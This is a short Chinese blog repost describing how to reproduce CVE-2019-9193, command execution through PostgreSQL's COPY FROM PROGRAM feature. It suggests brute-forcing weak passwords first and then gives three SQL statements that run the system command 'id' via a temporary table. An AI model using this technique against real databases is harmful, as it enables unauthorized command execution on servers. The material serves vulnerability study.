【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)漏洞介绍exp

59 阅读 0 评论 39 点赞

我是靠谱客的博主美好发带，最近开发中收集的这篇文章主要介绍【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)漏洞介绍exp，觉得挺不错的，现在分享给大家，希望可以做个参考。

【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)

漏洞介绍

这个漏洞是一个版本漏洞

从9.3版本开始，Postgres新增了一个COPYTO/FROMPROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

利用的前提

所以要先弱口令爆破之后，然后查看是否是高权限。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。